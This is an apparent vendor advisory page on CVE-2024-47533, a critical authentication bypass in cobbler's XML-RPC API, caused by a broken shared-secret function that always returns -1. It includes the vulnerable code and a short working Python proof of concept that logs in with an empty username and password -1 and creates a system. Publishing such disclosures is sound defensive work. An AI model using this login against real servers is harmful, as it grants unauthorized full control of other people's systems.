Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2024-47533 — cobbler

🔴 CVSS 9.8 — Critical ✅ No Known Exploit CWE-287 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

```

def get_shared_secret() -> Union[str, int]:

"""

The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange

between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.

For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

:return: The Cobbler secret which enables full access to Cobbler.

"""

try:

with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:

data = fd.read()

except:

return -1

return str(data).strip()

```

Always returns -1 because of the following exception:

```

binary mode doesn't take an encoding argument

```

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

```

#!/usr/bin/python3

import ssl

import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }

ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)

if ssl_context:

conn = xmlrpc.client.ServerProxy(url, context=ssl_context)

else:

conn = xmlrpc.client.Server(url)

try:

token = conn.login(params['username'], params['password'])

except xmlrpc.client.Fault as e:

print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))

except Exception as e:

print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

```

Impact

This gives anyone with network access to a cobbler server full control of the server.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2024-47533 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.

Affected software

CVE-2024-47533 is recorded against 2 packages.

  • cobbler (from 3.3.0 up to 3.3.7)
  • unknown

Timeline and source

Published on 29 June 2026 and last revised on 2 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

cobbler has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-287: Improper Authentication) in other software:

CVE-2024-47533 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-287
Public Exploit ✅ No
Source NVD
Published 2026-06-29
Updated 2026-08-20
Modified 2026-07-02
Fix URL N/A

Affected Packages

Software From version Fixed in
cobbler 3.3.0 3.3.7
unknown — —

Similar Threats

Exploit Protection

Are you running cobbler?

CVE-2024-47533 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2024-47533 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2024
✓